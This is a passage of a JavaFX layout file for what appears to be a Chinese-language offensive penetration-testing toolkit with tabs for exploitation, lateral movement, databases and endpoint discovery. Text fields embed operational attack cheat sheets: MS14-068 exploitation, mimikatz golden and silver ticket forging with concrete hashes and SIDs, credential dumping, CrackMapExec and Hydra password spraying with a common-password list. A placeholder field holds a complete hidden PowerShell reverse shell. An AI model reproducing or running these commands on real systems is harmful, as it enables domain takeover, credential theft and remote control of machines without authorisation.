<Insets bottom="5.0" />
</padding>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="漏洞检测与利用">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<HBox prefHeight="37.0" prefWidth="990.0" spacing="10.0">
<children>
<Label prefHeight="19.0" prefWidth="78.0" text="请选择脚本" textFill="#ab0f0f">
<HBox.margin>
<Insets left="10.0" top="3.0" />
</HBox.margin>
<font>
<Font name="System Font" size="14.0" />
</font>
</Label>
<ComboBox fx:id="caComboBox" nodeOrientation="LEFT_TO_RIGHT" prefHeight="29.0" prefWidth="451.0" promptText="[请选择检测脚本]">
<HBox.margin>
<Insets left="10.0" right="10.0" />
</HBox.margin></ComboBox>
<Button fx:id="caBtn1" mnemonicParsing="false" onAction="#caBtn1" text="导入URL" textFill="#e80000" />
<Button fx:id="caBtn2" disable="true" mnemonicParsing="false" onAction="#caBtn2" text="保存" textFill="#ff9513" />
<Button fx:id="caBtn4" disable="true" mnemonicParsing="false" onAction="#caBtn4" text="停止" textFill="BLUE" />
<Button fx:id="caBtn3" disable="true" mnemonicParsing="false" onAction="#caBtn3" prefHeight="25.0" prefWidth="128.0" text="开始检测" textFill="#018d4e">
<font>
<Font size="14.0" />
</font></Button>
</children>
<VBox.margin>
<Insets top="10.0" />
</VBox.margin>
<padding>
<Insets top="5.0" />
</padding>
</HBox>
<HBox>
<children>
<TableView fx:id="catableView" prefHeight="644.0" prefWidth="991.0">
<columns>
<TableColumn fx:id="catableColumnIndex" maxWidth="-1.0" minWidth="60.0" prefWidth="-1.0" text="id" />
<TableColumn fx:id="catableColumnUrl" maxWidth="906.0" minWidth="431.0" prefWidth="626.0" text="URL" />
<TableColumn fx:id="catableColumnResult" editable="false" maxWidth="498.0" minWidth="23.0" prefWidth="285.0" text="是否存在漏洞" />
</columns>
<HBox.margin>
<Insets top="10.0" />
</HBox.margin>
</TableView>
</children>
</HBox>
</children></VBox>
</content>
</Tab>
<Tab closable="false" text="内网渗透">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<TabPane prefHeight="745.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" text="横向移动">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<VBox prefHeight="629.0" prefWidth="990.0">
<children>
<HBox prefHeight="47.0" prefWidth="990.0">
<children>
<Label text="请选择方式:" textFill="#0a11ad">
<HBox.margin>
<Insets left="40.0" top="10.0" />
</HBox.margin>
</Label>
<RadioButton fx:id="wmiRadioBtn" mnemonicParsing="false" onAction="#ChoiceExecType" text="WMIEXEC">
<toggleGroup>
<ToggleGroup fx:id="execType" />
</toggleGroup>
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="20.0" top="10.0" />
</HBox.margin>
</RadioButton>
<RadioButton fx:id="psRadioBtn" mnemonicParsing="false" onAction="#ChoiceExecType" text="PSEXEC" toggleGroup="$execType">
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="40.0" top="10.0" />
</HBox.margin>
</RadioButton>
<RadioButton fx:id="smbRadioBtn" mnemonicParsing="false" onAction="#ChoiceExecType" text="SMBEXEC" toggleGroup="$execType">
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="40.0" top="10.0" />
</HBox.margin>
</RadioButton>
<RadioButton fx:id="atRadioBtn" mnemonicParsing="false" onAction="#ChoiceExecType" text="ATEXEC" toggleGroup="$execType">
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="40.0" top="10.0" />
</HBox.margin>
</RadioButton>
<RadioButton fx:id="dcomRadioBtn" mnemonicParsing="false" onAction="#ChoiceExecType" text="DCOMEXEC" toggleGroup="$execType">
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="40.0" top="10.0" />
</HBox.margin>
</RadioButton>
</children>
</HBox>
<HBox prefHeight="47.0" prefWidth="990.0">
<children>
<Label text="IP地址" textFill="RED">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="execIPTextField" prefHeight="29.0" prefWidth="202.0" text="10.10.20.30">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="用 户 名" textFill="#00ff33">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="execNAMETextField" text="0x7e">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="密码/哈希" textFill="#4400ff">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="execPASSTextField" prefHeight="29.0" prefWidth="356.0" text="123456">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
</children>
</HBox>
<HBox prefHeight="41.0" prefWidth="990.0">
<children>
<Label text="命 令 ">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="execCMDTextField" prefHeight="29.0" prefWidth="202.0" text="ipconfig">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="认证类型" textFill="#00089a">
<HBox.margin>
<Insets left="5.0" top="10.0" />
</HBox.margin>
</Label>
<ComboBox fx:id="execAuthComboBox" prefHeight="29.0" prefWidth="186.0" promptText="请选择认证类型">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</ComboBox>
<Label text="编 码 选 择" textFill="#f5007a">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<ComboBox fx:id="execCharSetComboBox" prefWidth="150.0" promptText="请选择编码">
<HBox.margin>
<Insets left="5.0" top="5.0" />
</HBox.margin>
</ComboBox>
<Button fx:id="execAttack" mnemonicParsing="false" onAction="#execAttack" prefHeight="29.0" prefWidth="195.0" text="ATTACK">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5" radius="0.7530120481927711">
<stops>
<Stop color="BLACK" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Button>
</children>
</HBox>
<HBox prefHeight="541.0" prefWidth="990.0">
<children>
<TextArea fx:id="execTextArea" prefHeight="537.0" prefWidth="986.0" />
</children>
</HBox>
<HBox prefHeight="41.0" prefWidth="990.0">
<children>
<Label text="交 互 命 令 ">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="execCMDTextField1" disable="true" prefHeight="29.0" prefWidth="471.0" text="ipconfig">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Button fx:id="sendAttackBtn" disable="true" mnemonicParsing="false" onAction="#sendAttack" prefHeight="29.0" prefWidth="195.0" text="发送命令">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</Button>
<Button fx:id="exitSendBtn" disable="true" mnemonicParsing="false" onAction="#exitSendBtn" prefHeight="29.0" prefWidth="148.0" text="终止">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</Button>
</children>
</HBox>
</children>
</VBox>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="PTT">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="546.0" prefWidth="970.0" text="一、【MS14-068】&#10;&#10;https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068&#10;MS14-068.exe -u &lt;userName&gt;@&lt;domainName&gt; -p &lt;clearPassword&gt; -s &lt;userSid&gt; -d &lt;domainControlerAddr&gt;&#10;ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域控ip&#10;shell ms14-068.exe -u lisi@0x7e.local -p QWEasd!@# -s S-1-5-21-2725463498-2767612360-2474150293-1105 -d 10.20.30.11&#10;&#10;# 获取当前主机票据&#10;shell klist &#10;mimikatz kerberos::list&#10;&#10;# 然后清除内存中的票据&#10;shell klist purge&#10;# 清除内存中的票据&#10;mimikatz kerberos::purge&#10;&#10;# 使用mimikatz将生成的票证导入到内存中&#10;mimikatz kerberos::ptc TGT_lisi@0x7e.local.ccache&#10;&#10;&#10;二、【黄金票据】&#10;&#10;mimikatz kerberos::golden /admin:administrator /domain:0x7e.local /sid:S-1-5-21-2725463498-2767612360-2474150293 /krbtgt:45cbc909bb09217a8a38d2b2fab7c059 /ticket:golden.kiribi #CS&#10;&#10;mimikatz &quot;privilege::debug&quot; &quot;kerberos::golden /admin:administrator /domain:0x7e.local /sid:S-1-5-21-2725463498-2767612360-2474150293 /krbtgt:45cbc909bb09217a8a38d2b2fab7c059 /ticket:golden.kiribi&quot;&#10;&#10;# 参数解释&#10;/admin伪造的用户名 , 随意&#10;/domain域名称&#10;/sidSID值注意是去掉最后一个-后面的值&#10;/krbtgtkrbtgt的HASH值&#10;/ticket生成的票据名称&#10;&#10;下载到本地保存 , 然后在普通域用户的beacon导入golden.kiribi , 即可访问域控&#10;&#10;# 查看当前内存中的票据&#10;mimikatz kerberos::list&#10;# 清除内存中的票据&#10;mimikatz kerberos::purge&#10;# 查看当前内存中的票据&#10;shell klist&#10;&#10;# 手动上传黄金票据到域用户权限的主机上&#10;# 导入黄金票据&#10;mimikatz kerberos::ptt golden.kiribi&#10;# 查看票据&#10;mimikatz kerberos::list&#10;&#10;三、【白银票据】&#10;&#10;mimikatz privilege::debug&#10;sekurlsa::logonpasswords&#10;# 或者CS直接执行&#10;logonpasswords&#10;这时得到了DC$的HASH值通过mimikatz生成银票&#10;&#10;&#10;kerberos::golden /domain:域名 /sid:SID /target:目标机器 /service:服务名 /rc4:NTLM-HASH&#10;/user:administrator /ptt&#10;&#10;mimikatz kerberos::golden /domain:0x7e.local /sid:S-1-5-21-2725463498-2767612360-2474150293 /target:dc.0x7e.local /service:cifs /rc4:f114f21f388aff360d52b340555e928a /user:silver /ptt&#10;&#10;# 参数说明&#10;/domain当前域名称&#10;/sidSID值和金票一样取前面一部分&#10;/target目标主机这里是08server-dc.SIS2112.com&#10;/service服务名称这里需要访问共享文件所以是cifs ( 文件共享 )&#10;/rc4目标主机的HASH值&#10;/user伪造的用户名&#10;/ptt表示的是Pass TheTicket攻击是把生成的票据导入内存 /ticket 保存到文件中&#10;&#10;&#10;也可以使用/ticket导出之后再使用 kerberos::ptt 来导入到普通用户的内存中&#10;&#10;&#10;mimikatz kerberos::golden /domain:0x7e.local /sid:S-1-5-21-2725463498-2767612360-2474150293 /target:dc.0x7e.local /service:cifs /rc4:f114f21f388aff360d52b340555e928a /user:silver&#10;&#10;然后下载到本地 , 上传到已经上线的普通域用户的磁盘中 , 然后导入 , 即可访问白银票据对应的服务&#10;&#10;```&#10;mimikatz kerberos::ptt ticket.kiribi&#10;```&#10;">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="密码喷洒">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="546.0" prefWidth="970.0" text="一、【CrackMapExec】&#10;https://github.com/byt3bl33d3r/CrackMapExec&#10;&#10;&#10;proxychains crackmapexec smb ip.txt -u user.txt -p pass.txt --continue-on-success --pass-pol&#10;&#10;proxychains crackmapexec smb ip.txt -u ./user.txt -H hash.txt --continue-on-success --pass-pol&#10;&#10;crackmapexec smb 192.168.101.187 -u ./smb_user.txt -p 'qwe.COM123' --continue-on-success --pass-pol&#10;&#10;crackmapexec smb 192.168.101.176 -u 'administrator' -p ./smb_pass.txt --continue-on-success&#10;crackmapexec smb 192.168.101.1/24 -u ./smb_user.txt -p ./smb_pass.txt --continue-on-success&#10;crackmapexec smb 192.168.101.1/24 -u ./smb_user.txt -H '9c2225d14fca9fb7beddbefa0db46ccc' --continue-on-success&#10;crackmapexec smb 192.168.101.1/24 -u ./smb_user.txt -H ./smb_hash.txt --continue-on-success&#10;&#10;# 参数说明&#10;smb后面的参数可以是一个ip或者是一个ip段或者是一个ip文件&#10;-u 用户名 , 可以是单个用户名或者用户名文件&#10;-p 密码 , 可以是单个密码或者密码文件&#10;-H hash , 可以是单个hash也可以是hash文件&#10; --pass-pol 查看域密码策略&#10; --continue-on-success 如果喷射成功 , 继续喷射到结束&#10;&#10;二、【Hydra】&#10;hydra -L ./user.txt -P ./passwd.txt 10.20.30.1/24 smb&#10;&#10;三、【其它工具】&#10;&#10;https://github.com/MarkoH17/Spray365&#10;https://github.com/ropnop/kerbrute&#10;https://github.com/dafthack/DomainPasswordSpray&#10;&#10;四、【一些密码】&#10;Aa123456789.&#10;123qwer!@#$&#10;234qwer!@#$&#10;1qaz@WSX1qaz&#10;QAZwsxEDC&#10;admin!@#45&#10;pass@123&#10;">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
<Insets bottom="5.0" />
</padding>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="数据库">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<TabPane prefHeight="745.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" text="MySQL">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<VBox prefHeight="629.0" prefWidth="990.0">
<children>
<HBox prefHeight="47.0" prefWidth="990.0">
<children>
<Label text="IP地址" textFill="RED">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="MySQLIPTextField" prefHeight="29.0" prefWidth="98.0" text="127.0.0.1">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="端 口" textFill="#00ff33">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="MySQLPORTETextField" prefHeight="29.0" prefWidth="66.0" text="3306">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="用户" textFill="#4400ff">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="MySQLUSERTextField" prefHeight="29.0" prefWidth="92.0" text="root">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="密码" textFill="#4400ff">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="MySQLPASSTextField" prefHeight="29.0" prefWidth="92.0" text="123456">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Button fx:id="MySQLtestBtn" mnemonicParsing="false" onAction="#MySQLtestBtn" text="连接测试" textFill="#1dc249">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</Button>
<ComboBox fx:id="MySQLComboBox" disable="true" onAction="#MySQLComboBox" prefWidth="150.0" promptText="请选择数据库">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</ComboBox>
<ComboBox fx:id="MySQLComboBoxTable" disable="true" onAction="#MySQLComboBoxTable" prefWidth="150.0" promptText="请选择数据表">
<HBox.margin>
<Insets left="5.0" top="5.0" />
</HBox.margin>
</ComboBox>
</children>
</HBox>
<HBox prefHeight="41.0" prefWidth="990.0">
<children>
<Label text="命 令 ">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="MySQLSQLTextField" prefHeight="29.0" prefWidth="724.0" promptText="select * from users;">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Button fx:id="MySQLEXECBtn" mnemonicParsing="false" onAction="#MySQLEXECBtn" prefHeight="29.0" prefWidth="172.0" text="执行">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</Button>
</children>
</HBox>
<HBox prefHeight="541.0" prefWidth="990.0">
<children>
<TextArea fx:id="MysqlTextArea" prefHeight="537.0" prefWidth="986.0" />
</children>
</HBox>
</children>
</VBox>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="ORACLE">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<VBox prefHeight="629.0" prefWidth="990.0">
<children>
<HBox prefHeight="47.0" prefWidth="990.0">
<children>
<Label text="IP" textFill="RED">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="OracleIPTextField" prefHeight="29.0" prefWidth="98.0" text="127.0.0.1">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="PORT" textFill="#00ff33">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="OraclePORTETextField" prefHeight="29.0" prefWidth="55.0" text="1521">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="用户" textFill="#4400ff">
<HBox.margin>
<Insets left="20.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="OracleUSERTextField" prefHeight="29.0" prefWidth="60.0" text="sys">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="密码" textFill="#4400ff">
<HBox.margin>
<Insets left="20.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="OraclePASSTextField" prefHeight="29.0" prefWidth="92.0" text="123456">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Label text="实例" textFill="#4400ff">
<HBox.margin>
<Insets left="20.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="OracleServerTextField" prefHeight="29.0" prefWidth="75.0" text="orcl">
<HBox.margin>
<Insets left="5.0" top="5.0" />
</HBox.margin>
</TextField>
<Button fx:id="OracletestBtn" mnemonicParsing="false" onAction="#OracletestBtn" text="连接测试" textFill="#1dc249">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</Button>
<ComboBox fx:id="OracleComboBoxTable" disable="true" onAction="#OracleComboBoxTable" prefHeight="29.0" prefWidth="138.0" promptText="请选择数据表">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</ComboBox>
</children>
</HBox>
<HBox prefHeight="41.0" prefWidth="990.0">
<children>
<Label text="命 令 ">
<HBox.margin>
<Insets left="10.0" top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="OracleSQLTextField" prefHeight="29.0" prefWidth="724.0" promptText="select * from users 注意,最后不要分号">
<HBox.margin>
<Insets left="10.0" top="5.0" />
</HBox.margin>
</TextField>
<Button fx:id="OracleEXECBtn" mnemonicParsing="false" onAction="#OracleEXECBtn" prefHeight="29.0" prefWidth="172.0" text="执行">
<HBox.margin>
<Insets left="20.0" top="5.0" />
</HBox.margin>
</Button>
</children>
</HBox>
<HBox prefHeight="541.0" prefWidth="990.0">
<children>
<TextArea fx:id="OracleTextArea" prefHeight="537.0" prefWidth="986.0" />
</children>
</HBox>
</children>
</VBox>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
<Insets bottom="5.0" />
</padding>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="JS接口">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<HBox>
<children>
<Label fx:id="proxyStatusLabel1111" contentDisplay="BOTTOM" prefHeight="22.0" prefWidth="62.0" text=" URL" textFill="#1cad5b">
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets left="80.0" top="3.0" />
</HBox.margin>
</Label>
<TextField fx:id="jsURLTextField" prefHeight="29.0" prefWidth="467.0" promptText="请填写js地址(js不要有?参数)或者url地址" />
<Button fx:id="jsGetInterFaceBtn" mnemonicParsing="false" onAction="#jsGetInterFaceBtn" text="获取">
<HBox.margin>
<Insets left="50.0" />
</HBox.margin>
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.5603864734299517" startY="0.13526570048309178">
<stops>
<Stop color="#0cb072" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
</Button>
</children>
<VBox.margin>
<Insets top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<TextArea fx:id="jsInterFaceTextArea" prefHeight="646.0" prefWidth="491.0" />
<BorderPane prefHeight="612.0" prefWidth="327.0">
<center>
<VBox prefHeight="646.0" prefWidth="219.0">
<children>
<TextField fx:id="jsCTXTextField" prefHeight="29.0" prefWidth="467.0" promptText="/ctx">
<VBox.margin>
<Insets top="40.0" />
</VBox.margin>
</TextField>
<Button fx:id="jsAddCTXBtn" mnemonicParsing="false" onAction="#jsAddCTXBtn" prefHeight="29.0" prefWidth="149.0" text="添加ctx">
<VBox.margin>
<Insets left="5.0" top="10.0" />
</VBox.margin>
</Button>
<Label fx:id="proxyStatusLabel11111" contentDisplay="BOTTOM" prefHeight="22.0" prefWidth="109.0" text=" 请求方式" textFill="#1cad5b">
<font>
<Font size="14.0" />
</font>
<VBox.margin>
<Insets left="25.0" top="50.0" />
</VBox.margin>
</Label>
<HBox>
<children>
<RadioButton fx:id="getRadioBtn" mnemonicParsing="false" onAction="#ChoiceJSReqMethodType" text="GET">
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="20.0" />
</HBox.margin>
<toggleGroup>
<ToggleGroup fx:id="jsReqType" />
</toggleGroup>
</RadioButton>
<RadioButton fx:id="postRadioBtn" mnemonicParsing="false" onAction="#ChoiceJSReqMethodType" text="POST" toggleGroup="$jsReqType">
<textFill>
<LinearGradient endX="1.0" endY="1.0" startX="0.7342995169082126" startY="0.8309178743961353">
<stops>
<Stop color="#b53f00" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
<HBox.margin>
<Insets left="5.0" />
</HBox.margin>
</RadioButton>
</children>
</HBox>
<Button fx:id="jsGetStatusBtn" mnemonicParsing="false" onAction="#jsGetStatusBtn" prefHeight="29.0" prefWidth="149.0" text="获取接口状态">
<VBox.margin>
<Insets left="5.0" top="5.0" />
</VBox.margin>
</Button>
<TextArea accessibleRole="IMAGE_VIEW" cacheShape="false" centerShape="false" editable="false" focusTraversable="false" opacity="0.91" prefHeight="200.0" prefWidth="200.0" scaleShape="false" style="-fx-text-fill: red; -fx-background-color: #dcdcdc;" text="使用说明&#10;&#10;1、输入网址获取js地址&#10;2、输入js地址获取接口&#10;3、选择请求方式&#10;4、直接获取接口状态" wrapText="true">
<VBox.margin>
<Insets top="50.0" />
</VBox.margin>
</TextArea>
</children>
</VBox>
</center>
<HBox.margin>
<Insets />
</HBox.margin>
</BorderPane>
<TextArea fx:id="jsResultTextArea" prefHeight="646.0" prefWidth="651.0" />
</children>
<VBox.margin>
<Insets top="5.0" />
</VBox.margin>
</HBox>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="辅助网站">
<content>
<VBox>
<children>
<ScrollPane maxHeight="1.7976931348623157E308" maxWidth="1.7976931348623157E308">
<content>
<VBox prefHeight="672.0" prefWidth="990.0">
<children>
<TitledPane maxHeight="1.7976931348623157E308" maxWidth="1.7976931348623157E308" text="反弹shell生成 - https://www.revshells.com/" textFill="#c22138">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea61" maxHeight="1.7976931348623157E308" maxWidth="1.7976931348623157E308" prefHeight="49.0" prefWidth="1314.0" text="https://www.revshells.com/">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane text="HackTricks - https://book.hacktricks.xyz">
<content>
<HBox maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity">
<children>
<TextArea fx:id="acTextArea21" prefHeight="0.0" prefWidth="966.0" text="https://book.hacktricks.xyz/">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
<opaqueInsets>
<Insets />
</opaqueInsets>
</HBox>
</content>
<textFill>
<LinearGradient endX="1.0" endY="0.9806763285024155" startX="0.9420289855072463" startY="0.27053140096618356">
<stops>
<Stop color="#b90808" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
</TitledPane>
<TitledPane text="WADComs 域命令手册 - https://wadcoms.github.io/" textFill="#d12e1b">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea31" prefHeight="0.0" prefWidth="966.0" text="https://wadcoms.github.io/">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane text="GTFOBins Linux提权 - https://gtfobins.github.io/" textFill="#d71d1d">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea41" prefHeight="0.0" prefWidth="966.0" promptText="powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&quot;127.0.0.1&quot;,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&gt; &quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" text="GTFOBins Linux提权 - https://gtfobins.github.io/">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane text="LOLBAS exe手册 - https://lolbas-project.github.io/" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea51" prefHeight="0.0" prefWidth="966.0" text="https://lolbas-project.github.io/">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
<VBox.margin>
<Insets top="5.0" />
</VBox.margin>
</ScrollPane>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
<Insets bottom="5.0" />
</padding>
<VBox.margin>
<Insets top="5.0" />
</VBox.margin>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
<HBox alignment="BOTTOM_CENTER" prefWidth="990.0" VBox.vgrow="ALWAYS">
<children>
<Label fx:id="proxyStatusLabel1" contentDisplay="BOTTOM" prefHeight="20.0" prefWidth="1200.0" text="By 0x7eTeam 421" textFill="#dddddd">
<padding>
<Insets left="3.0" top="3.0" />
</padding>
<font>
<Font size="14.0" />
</font>
</Label>
</children>
<VBox.margin>
<Insets bottom="1.0" right="1.0" />
</VBox.margin>
<padding>
<Insets bottom="1.0" />
</padding>
</HBox>
</children>
<padding>
<Insets bottom="5.0" left="5.0" right="5.0" top="5.0" />
</padding>
